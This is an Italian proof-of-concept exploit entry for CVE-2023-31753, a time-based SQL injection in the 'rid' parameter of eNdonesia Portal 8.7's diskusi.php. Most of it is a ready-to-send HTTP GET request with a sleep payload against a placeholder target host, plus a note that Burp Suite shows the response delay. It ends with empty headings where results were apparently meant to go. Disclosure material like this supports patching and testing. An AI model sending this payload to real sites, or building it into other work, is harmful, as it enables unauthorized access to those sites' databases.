CVE-2023-31753

Proof of Concept per CVE-2023-31753

Descrizione: Una vulnerabilità di SQL Injection è stata scoperta in eNdonesia Portal v8.7 che viene sfruttata inserendo un payload modificato nel parametro "rid" in diskusi.php.

• Titolo Exploit: eNdonesia Portal 8.7 - SQL injection vulnerability in diskusi.php (rid parameter)
• Data: May 19, 2023
• Autore Exploit: Kunal Khubchandani
• Homepage del fornitore: http://www.endonesia.org/
• Link del software: https://sourceforge.net/projects/endonesia/
• Versione: 8.7
• Categoria: Webapps
• Testato su: WiN11_x64/KaLiLinuX_x64
• CVE : CVE-2023-31753

#POC:

1. Per sfruttare questa vulnerabilità, è necessario inviare un payload di sleep SQLi come valore del parametro GET "rid" nella seguente richiesta HTTP.

2. Richiesta vulnerabile:

GET /endonesia.8.7.en/mod.php?mod=diskusi&op=delres&rid=(select*from(select(sleep(20)))a) HTTP/1.1
Host: TARGET
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Connection: close
Cache-Control: max-age=0

3. Inviando la richiesta HTTP di cui sopra tramite Burp Suite, l'utente riceverà una risposta con un ritardo di 20 secondi.

** Ritardo di 20 secondi:

** Ritardo di 30 secondi: